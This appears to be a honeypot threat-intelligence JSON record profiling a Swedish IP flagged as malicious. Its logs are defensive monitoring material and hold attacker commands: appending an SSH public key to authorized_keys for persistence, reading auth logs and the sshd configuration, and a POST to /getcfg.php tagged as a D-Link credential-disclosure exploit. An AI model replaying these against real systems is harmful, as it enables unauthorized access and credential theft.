{"ip":"155.4.244.151","data_as_of":"2026-10-27T11:24:48+00:00","observed":true,"total_events":0,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"4 interactive session(s) ran commands after logging in","confidence":"high","network_type":"network service provider","why":["4 interactive session(s) logged in and ran commands.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","Not in any known-scanner range.","Held a session open for 221s, against a median of well under a second."],"engagement":{"level":"request","label":"Request traffic, held open","detail":"3,404 bytes sent, longest session 221s","bytes_sent":3404,"session_seconds":221,"persistent":true},"basis":"interactive"},"first_seen":"2026-10-26T20:37:41","last_seen":"2026-10-27T09:29:46","events_24h":0,"events_7d":0,"interactive_sessions":982,"interactive_sessions_24h":982,"interactive_sessions_7d":982,"interactive_protocols":[{"protocol":"http","sessions":12},{"protocol":"ssh","sessions":8},{"protocol":"ldap","sessions":4},{"protocol":"smtp","sessions":4},{"protocol":"vnc","sessions":3},{"protocol":"socks5","sessions":3},{"protocol":"xmpp","sessions":2},{"protocol":"sip","sessions":2},{"protocol":"telnet","sessions":2},{"protocol":"smb","sessions":2},{"protocol":"kerberos","sessions":2},{"protocol":"sunrpc","sessions":2},{"protocol":"stratum","sessions":2},{"protocol":"imap","sessions":2},{"protocol":"pop3","sessions":2},{"protocol":"ftp","sessions":1},{"protocol":"pjl","sessions":1},{"protocol":"dnp3","sessions":1},{"protocol":"mysql","sessions":1},{"protocol":"oracle-tns","sessions":1},{"protocol":"ajp","sessions":1},{"protocol":"atg","sessions":1},{"protocol":"rdp","sessions":1},{"protocol":"snmp","sessions":1},{"protocol":"sccp","sessions":1},{"protocol":"postgres","sessions":1},{"protocol":"iscsi","sessions":1},{"protocol":"adb","sessions":1},{"protocol":"http-proxy","sessions":1},{"protocol":"giop","sessions":1},{"protocol":"pptp","sessions":1},{"protocol":"dns","sessions":1},{"protocol":"msrpc","sessions":1},{"protocol":"ssdp","sessions":1},{"protocol":"afp","sessions":1},{"protocol":"rtsp","sessions":1},{"protocol":"bittorrent","sessions":1},{"protocol":"winbox","sessions":1},{"protocol":"mssql","sessions":1}],"geo":{"country_code":"SE","country_name":"Sweden","region":"","city":"","lat":null,"lon":null,"asn":8473,"org":"Bahnhof AB"},"source_domain":"h-155-4-244-151.NA.cust.bahnhof.se","known_scanners":[],"scanner_tag":{"key":"peeringdb:as8473","label":"Bahnhof","category":"isp","url":"https://www.peeringdb.com/asn/8473"},"cve_matches":[{"cve_id":"CVE-2019-17506","title":"","severity":"","actively_exploited":false,"match_field":"interactive_session","matched_pattern":"","confirmed_by":"interactive_session","sessions":2,"kev_date_added":null}],"malware":[],"udp":null,"interaction":{"window_days":90,"sessions":982,"first_seen":"2026-10-26T20:37:41","last_seen":"2026-10-27T09:29:46","verdicts":[{"verdict":"unknown","sessions":973},{"verdict":"post-exploitation","sessions":4},{"verdict":"scan","sessions":2},{"verdict":"exploit-attempt","sessions":2},{"verdict":"credential","sessions":1}],"personas":[{"persona":"linux-ubuntu@24.04","sessions":10},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, dlink-dir645@1.01, fortigate@7.0.5, gitlab@19.4.2","sessions":6},{"persona":"ldap@Windows Server 2016","sessions":4},{"persona":"dovecot@2.3.13","sessions":4},{"persona":"smtp@3.8.6","sessions":4},{"persona":"proxy@squid/4.13","sessions":4},{"persona":"vnc@RealVNC Server 6.11.0","sessions":3},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, fortigate@7.0.5, gitlab@19.4.2","sessions":3},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, mikrotik@7.12.1, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, fortigate@7.0.5, gitlab@19.4.2","sessions":2},{"persona":"smb@Windows Server 2016","sessions":2},{"persona":"xmpp@ejabberd 23.04","sessions":2}],"services":[{"protocol":"ssh","port":22,"sessions":7},{"protocol":"http","port":80,"sessions":3},{"protocol":"http","port":8080,"sessions":2},{"protocol":"http","port":443,"sessions":2},{"protocol":"http","port":81,"sessions":2},{"protocol":"tcp","port":10180,"sessions":1},{"protocol":"tcp","port":1086,"sessions":1},{"protocol":"tcp","port":1310,"sessions":1},{"protocol":"tcp","port":1201,"sessions":1},{"protocol":"tcp","port":58080,"sessions":1},{"protocol":"tcp","port":1024,"sessions":1},{"protocol":"tcp","port":49156,"sessions":1}],"logins":[{"username":"admin","password":"","password_sent":true,"service":"ssh-password","outcome":"failure","tries":2,"last_seen":"2026-10-26T20:52:14"}],"commands":[{"ts":"2026-10-26T20:53:31","session_id":"a2072103-b8be-4e3e-a61a-02a80421233a","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"exit","exit_code":0},{"ts":"2026-10-26T20:53:12","session_id":"a2072103-b8be-4e3e-a61a-02a80421233a","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"\t\t\t\t\t\thelp","exit_code":0},{"ts":"2026-10-26T20:53:09","session_id":"a2072103-b8be-4e3e-a61a-02a80421233a","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"shutdown -r","exit_code":127},{"ts":"2026-10-26T20:53:03","session_id":"a2072103-b8be-4e3e-a61a-02a80421233a","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"reboot","exit_code":127},{"ts":"2026-10-26T20:52:44","session_id":"a2072103-b8be-4e3e-a61a-02a80421233a","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"sudo systemctl status sshd","exit_code":4},{"ts":"2026-10-26T20:52:40","session_id":"a2072103-b8be-4e3e-a61a-02a80421233a","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"sudo systemctl status ssh","exit_code":4},{"ts":"2026-10-26T20:52:37","session_id":"a2072103-b8be-4e3e-a61a-02a80421233a","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"sudo systemctl status","exit_code":4},{"ts":"2026-10-26T20:52:10","session_id":"3901dce3-0731-4acb-bf34-c24c4d404c7c","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"exit","exit_code":0},{"ts":"2026-10-26T20:52:01","session_id":"3901dce3-0731-4acb-bf34-c24c4d404c7c","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cat /etc/ssh/sshd_config","exit_code":0},{"ts":"2026-10-26T20:51:57","session_id":"3901dce3-0731-4acb-bf34-c24c4d404c7c","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cat /et\tc/ssh/sshd_config","exit_code":1},{"ts":"2026-10-26T20:51:48","session_id":"3901dce3-0731-4acb-bf34-c24c4d404c7c","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cat .ssh/authorized_keys","exit_code":0},{"ts":"2026-10-26T20:51:41","session_id":"3901dce3-0731-4acb-bf34-c24c4d404c7c","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cat .ss\th/authorized_keys","exit_code":1},{"ts":"2026-10-26T20:51:33","session_id":"3901dce3-0731-4acb-bf34-c24c4d404c7c","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZpBPOZQy0t+OZPEPBxEkaf3hop0d998ZYT8iqVm03zVbF5pm4CN/bMOWjVno2ArlJ8smpVdLgBypnFk2mJXeBATB2c7H4fJOJcnS15Txb80zV+2KlOnDVwNkw4cyUE4o9TTWV+QDRGZiNPscL4tmu/2Zm3vAR16V0bw9u2EAeWGXe4zaeNTDHcbp0JSH/elmHaHvEUnP71zwmkqBb4WYAoFC7PgLsqsfH9yZApuNlS1kVZm+3xDjVYyxvp6XUQJOWSaFLCa6XVgvyWS7nV9z4bCFek5B0RaNRndkoZy0hS1CfK0/JCtmcxkXmtOnEHnb/um33WTzst/AmQGDtkasfOqnABRiAz0v11wrsvFgJrVjHeyTZrHpBs6UzroWgrpV+yme60kYUZfjJlMY+eqbCzjTYQunn03jxERW/3WljRvvBB7TACCdnc/8I23cloizBcH53ekEyl6q6TUPQLLQePgvdO1ZHMZeKWn27oV7YokdxStSwbnNq4b1JHSsPV+aE=' >> .ssh/authorized_keys","exit_code":0},{"ts":"2026-10-26T20:50:37","session_id":"3901dce3-0731-4acb-bf34-c24c4d404c7c","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"\t\t\tclear","exit_code":0},{"ts":"2026-10-26T20:50:35","session_id":"3901dce3-0731-4acb-bf34-c24c4d404c7c","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"pacman","exit_code":127},{"ts":"2026-10-26T20:50:33","session_id":"3901dce3-0731-4acb-bf34-c24c4d404c7c","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"dpkg","exit_code":127},{"ts":"2026-10-26T20:50:31","session_id":"3901dce3-0731-4acb-bf34-c24c4d404c7c","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"apt-get install nano","exit_code":100},{"ts":"2026-10-26T20:50:27","session_id":"3901dce3-0731-4acb-bf34-c24c4d404c7c","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"apt-get","exit_code":0},{"ts":"2026-10-26T20:50:24","session_id":"3901dce3-0731-4acb-bf34-c24c4d404c7c","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"apk","exit_code":127},{"ts":"2026-10-26T20:50:23","session_id":"3901dce3-0731-4acb-bf34-c24c4d404c7c","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"sudo apt install nano","exit_code":100},{"ts":"2026-10-26T20:50:18","session_id":"3901dce3-0731-4acb-bf34-c24c4d404c7c","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"apt install nano","exit_code":100},{"ts":"2026-10-26T20:49:59","session_id":"3901dce3-0731-4acb-bf34-c24c4d404c7c","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"touch .ssh/authorized_keys","exit_code":0},{"ts":"2026-10-26T20:49:37","session_id":"3901dce3-0731-4acb-bf34-c24c4d404c7c","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls -l .ssh","exit_code":0},{"ts":"2026-10-26T20:49:33","session_id":"3901dce3-0731-4acb-bf34-c24c4d404c7c","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls -la","exit_code":0},{"ts":"2026-10-26T20:49:32","session_id":"3901dce3-0731-4acb-bf34-c24c4d404c7c","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls -l","exit_code":0},{"ts":"2026-10-26T20:49:31","session_id":"3901dce3-0731-4acb-bf34-c24c4d404c7c","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls","exit_code":0},{"ts":"2026-10-26T20:48:54","session_id":"3901dce3-0731-4acb-bf34-c24c4d404c7c","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cat .bashrc","exit_code":0},{"ts":"2026-10-26T20:48:49","session_id":"3901dce3-0731-4acb-bf34-c24c4d404c7c","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"mkdir .ssh","exit_code":0},{"ts":"2026-10-26T20:48:47","session_id":"3901dce3-0731-4acb-bf34-c24c4d404c7c","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"rm -r ssh","exit_code":0},{"ts":"2026-10-26T20:48:44","session_id":"3901dce3-0731-4acb-bf34-c24c4d404c7c","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"mkdir ssh","exit_code":0},{"ts":"2026-10-26T20:48:41","session_id":"3901dce3-0731-4acb-bf34-c24c4d404c7c","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls -l","exit_code":0},{"ts":"2026-10-26T20:48:38","session_id":"3901dce3-0731-4acb-bf34-c24c4d404c7c","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls -l .ssh","exit_code":2},{"ts":"2026-10-26T20:46:46","session_id":"ba1f6e48-b3ff-449b-a3ab-36e1a8d5453b","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ip a","exit_code":0},{"ts":"2026-10-26T20:46:12","session_id":"ba1f6e48-b3ff-449b-a3ab-36e1a8d5453b","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cat /var/log/auth.log","exit_code":0},{"ts":"2026-10-26T20:45:45","session_id":"ba1f6e48-b3ff-449b-a3ab-36e1a8d5453b","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cat .bashrc","exit_code":0},{"ts":"2026-10-26T20:45:40","session_id":"ba1f6e48-b3ff-449b-a3ab-36e1a8d5453b","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"echo 'echo \"You should patch this device’s firmware or replace the unit.\"' >> .bashrc","exit_code":0},{"ts":"2026-10-26T20:45:21","session_id":"ba1f6e48-b3ff-449b-a3ab-36e1a8d5453b","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cat .bashrc","exit_code":0},{"ts":"2026-10-26T20:42:04","session_id":"062e2cac-6617-4f9c-a3eb-7fcb1fc9a595","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls -l /home/","exit_code":0},{"ts":"2026-10-26T20:41:57","session_id":"062e2cac-6617-4f9c-a3eb-7fcb1fc9a595","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cat /var/log/lastlog","exit_code":0},{"ts":"2026-10-26T20:41:45","session_id":"062e2cac-6617-4f9c-a3eb-7fcb1fc9a595","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"apt","exit_code":0},{"ts":"2026-10-26T20:41:43","session_id":"062e2cac-6617-4f9c-a3eb-7fcb1fc9a595","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"sudo cat /var/log/auth.log","exit_code":0},{"ts":"2026-10-26T20:41:36","session_id":"062e2cac-6617-4f9c-a3eb-7fcb1fc9a595","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cat /var/log/auth.log","exit_code":0},{"ts":"2026-10-26T20:41:25","session_id":"062e2cac-6617-4f9c-a3eb-7fcb1fc9a595","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls -l /var/log/","exit_code":0},{"ts":"2026-10-26T20:41:14","session_id":"062e2cac-6617-4f9c-a3eb-7fcb1fc9a595","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"vi","exit_code":127},{"ts":"2026-10-26T20:41:13","session_id":"062e2cac-6617-4f9c-a3eb-7fcb1fc9a595","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"nano","exit_code":127},{"ts":"2026-10-26T20:41:09","session_id":"062e2cac-6617-4f9c-a3eb-7fcb1fc9a595","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cat .bashrc","exit_code":0},{"ts":"2026-10-26T20:41:04","session_id":"062e2cac-6617-4f9c-a3eb-7fcb1fc9a595","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls -la","exit_code":0}],"downloads":[],"files":[{"sha256":"ad1e96bb153c73bf7864735f462f406e11e28d7ae90aefec437e46d2a5132966","name":"authorized_keys","size":554,"mime_type":"text/plain","kind":"shell-write","times":1,"first_seen":"2026-10-26T20:51:33","last_seen":"2026-10-26T20:51:33","virustotal":null},{"sha256":"cc871658cabc25b3981d427caad643f6837eff2c2d854d7debc5e9d167278f02","name":".bashrc","size":1250,"mime_type":"text/plain","kind":"shell-write","times":1,"first_seen":"2026-10-26T20:45:40","last_seen":"2026-10-26T20:45:40","virustotal":null}],"attack":[{"technique_id":"T1595","technique_name":"Active Scanning","tactic_id":"TA0043","tactic_name":"Reconnaissance","sessions":2},{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":4},{"technique_id":"T1190","technique_name":"Exploit Public-Facing Application","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":2},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":4},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":5}]},"top_ports":[{"port":22,"proto":"tcp","label":"SSH","count":0,"sessions":7},{"port":80,"proto":"tcp","label":"HTTP","count":0,"sessions":3},{"port":8080,"proto":"tcp","label":"HTTP-alt","count":0,"sessions":2},{"port":443,"proto":"tcp","label":"HTTPS","count":0,"sessions":2},{"port":81,"proto":"tcp","label":"HTTP","count":0,"sessions":2},{"port":65389,"proto":"tcp","label":"","count":0,"sessions":1},{"port":65129,"proto":"tcp","label":"","count":0,"sessions":1},{"port":65000,"proto":"tcp","label":"","count":0,"sessions":1},{"port":64680,"proto":"tcp","label":"","count":0,"sessions":1},{"port":64623,"proto":"tcp","label":"","count":0,"sessions":1},{"port":63331,"proto":"tcp","label":"","count":0,"sessions":1},{"port":62078,"proto":"tcp","label":"","count":0,"sessions":1},{"port":61900,"proto":"tcp","label":"","count":0,"sessions":1},{"port":61532,"proto":"tcp","label":"","count":0,"sessions":1},{"port":60443,"proto":"tcp","label":"","count":0,"sessions":1}],"fingerprints":{"ssh_hassh":["aae6b9604f6f3356543709a376d7f657"],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":[],"interactive":{"ssh_hassh":["aae6b9604f6f3356543709a376d7f657"],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"aae6b9604f6f3356543709a376d7f657":1},"akin_families":{},"user_agents":["Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.2903.86"],"timeline":[{"date":"2026-10-26","count":0,"sessions":981},{"date":"2026-10-27","count":0,"sessions":1}],"recent_events":[{"timestamp":"2026-10-27T09:29:45","port":8080,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"content-length\":\"23\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>:8080\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.2903.86\"}","body":"SERVICES=DEVICE.ACCOUNT","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/getcfg.php","summary":"","payload_hex":"504f5354202f6765746366672e70687020485454502f312e310d0a486f73743a203c484f4e4559504f543e3a383038300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3133312e302e302e30205361666172692f3533372e3336204564672f3133312e302e323930332e38360d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a2032330d0a0d0a53455256494345533d4445564943452e4143434f554e54","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.2903.86","ja3":"","session":"50542009-b144-4e3f-8a4d-9607d09c7662-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-26T20:53:31","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"exit","payload_hex":"65786974","method":"","user_agent":"","ja3":"","session":"a2072103-b8be-4e3e-a61a-02a80421233a-18","seq":18,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"de3ac21778e51de1","strings":["exit"]},"interactive":true},{"timestamp":"2026-10-26T20:53:12","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\t\t\t\t\t\thelp","payload_hex":"09090909090968656c70","method":"","user_agent":"","ja3":"","session":"a2072103-b8be-4e3e-a61a-02a80421233a-16","seq":16,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"a82317e8b44a0945","strings":["help"]},"interactive":true},{"timestamp":"2026-10-26T20:53:09","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"shutdown -r","payload_hex":"73687574646f776e202d72","method":"","user_agent":"","ja3":"","session":"a2072103-b8be-4e3e-a61a-02a80421233a-14","seq":14,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"80b52606828326f1","strings":["shutdown -r"]},"interactive":true},{"timestamp":"2026-10-26T20:53:03","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"reboot","payload_hex":"7265626f6f74","method":"","user_agent":"","ja3":"","session":"a2072103-b8be-4e3e-a61a-02a80421233a-12","seq":12,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"531c9e1bfdff97ef","strings":["reboot"]},"interactive":true},{"timestamp":"2026-10-26T20:52:57","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"system\tctl\t\t??","payload_hex":"73797374656d0963746c09093f3f","method":"","user_agent":"","ja3":"","session":"a2072103-b8be-4e3e-a61a-02a80421233a-11","seq":11,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"7ea3fa9604570e10","strings":["system"]},"interactive":true},{"timestamp":"2026-10-26T20:52:54","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"sudo systemctl status \t\t\t\t\t\t\t","payload_hex":"7375646f2073797374656d63746c207374617475732009090909090909","method":"","user_agent":"","ja3":"","session":"a2072103-b8be-4e3e-a61a-02a80421233a-10","seq":10,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"eb5414148238709f","strings":["sudo systemctl status"]},"interactive":true},{"timestamp":"2026-10-26T20:52:44","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"sudo systemctl status sshd","payload_hex":"7375646f2073797374656d63746c207374617475732073736864","method":"","user_agent":"","ja3":"","session":"a2072103-b8be-4e3e-a61a-02a80421233a-8","seq":8,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"2a52697223c2d9e0","strings":["sudo systemctl status sshd"]},"interactive":true},{"timestamp":"2026-10-26T20:52:43","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u001b[A","payload_hex":"1b5b41","method":"","user_agent":"","ja3":"","session":"a2072103-b8be-4e3e-a61a-02a80421233a-7","seq":7,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-26T20:52:40","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"sudo systemctl status ssh","payload_hex":"7375646f2073797374656d63746c2073746174757320737368","method":"","user_agent":"","ja3":"","session":"a2072103-b8be-4e3e-a61a-02a80421233a-5","seq":5,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"3b1927b7ed71a3a4","strings":["sudo systemctl status ssh"]},"interactive":true}],"http_methods":[{"method":"POST","count":4}],"distinct_ports_total":971,"top_paths":[{"path":"/getcfg.php","count":4,"ports":4}],"distinct_paths_total":1,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Content-Length","Content-Type","Host","User-Agent"],"representative":[{"name":"Content-Length","value":"23","notable":false},{"name":"Content-Type","value":"application/x-www-form-urlencoded","notable":true},{"name":"Host","value":"<HONEYPOT>:8080","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.2903.86","notable":false}],"distinct_sets":1,"events_with_headers":1},"tags":[{"tag_id":"CVE-2019-17506","tag_type":"cve","title":"","severity":"","actively_exploited":false,"match_field":"interactive_session","matched_pattern":"","reference_urls":[],"confirmed_by":"interactive_session","sessions":2,"kev_date_added":null},{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":4},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":4},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":5}]}